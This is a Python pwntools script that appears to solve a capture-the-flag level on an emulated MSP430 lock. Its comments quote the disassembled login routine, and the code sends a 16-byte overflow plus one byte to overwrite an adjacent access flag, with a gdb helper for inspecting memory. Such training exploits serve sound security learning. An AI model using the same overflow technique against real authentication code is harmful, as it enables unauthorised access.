from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '

emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

# - the password is read into a buffer at #0x2400 holding 16 bytes
# - after the password check, the byte at #0x2410 is checked against #0x9
# - overflowing the buffer allows manipulating that byte

# 4520 <login>
# 4520:  c243 1024      mov.b	#0x0, &0x2410
# 4524:  3f40 7e44      mov	#0x447e "Enter the password to continue.", r15
# 4528:  b012 de45      call	#0x45de <puts>
# 452c:  3f40 9e44      mov	#0x449e "Remember: passwords are between 8 and 16 characters.", r15
# 4530:  b012 de45      call	#0x45de <puts>
# 4534:  3e40 1c00      mov	#0x1c, r14
# 4538:  3f40 0024      mov	#0x2400, r15
# 453c:  b012 ce45      call	#0x45ce <getsn>
# 4540:  3f40 0024      mov	#0x2400, r15
# 4544:  b012 5444      call	#0x4454 <test_password_valid>
# 4548:  0f93           tst	r15
# 454a:  0324           jz	$+0x8
# 454c:  f240 bb00 1024 mov.b	#0xbb, &0x2410
# 4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
# 4556:  b012 de45      call	#0x45de <puts>
# 455a:  f290 0900 1024 cmp.b	#0x9, &0x2410
# 4560:  0720           jne	#0x4570 <login+0x50>
# 4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
# 4566:  b012 de45      call	#0x45de <puts>
# 456a:  b012 4844      call	#0x4448 <unlock_door>
# 456e:  3041           ret
# 4570:  3f40 0145      mov	#0x4501 "That password is not correct.", r15
# 4574:  b012 de45      call	#0x45de <puts>
# 4578:  3041           ret


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


def check_memory(payload):
    dbg.sendlinethen(PROMPT, b'break *0x4552')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))

    emu.sendline(b':' + hexlify(payload))
    dbg.recvuntil(PROMPT)

    print('\n'.join(gdb_output(dbg.sendlinethen(PROMPT, b'x/16xb 0x2400'))))
    print(gdb_output(dbg.sendlinethen(PROMPT, b'x/1xb 0x2410'))[0])


def exploit():
    payload = b'A'*16 + b'\x09'

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8'))


dbg.recvuntil(PROMPT)  # receive initial prompt
# check_memory(b'A'*16)
# check_memory(b'A'*16 + b'\x09')
exploit()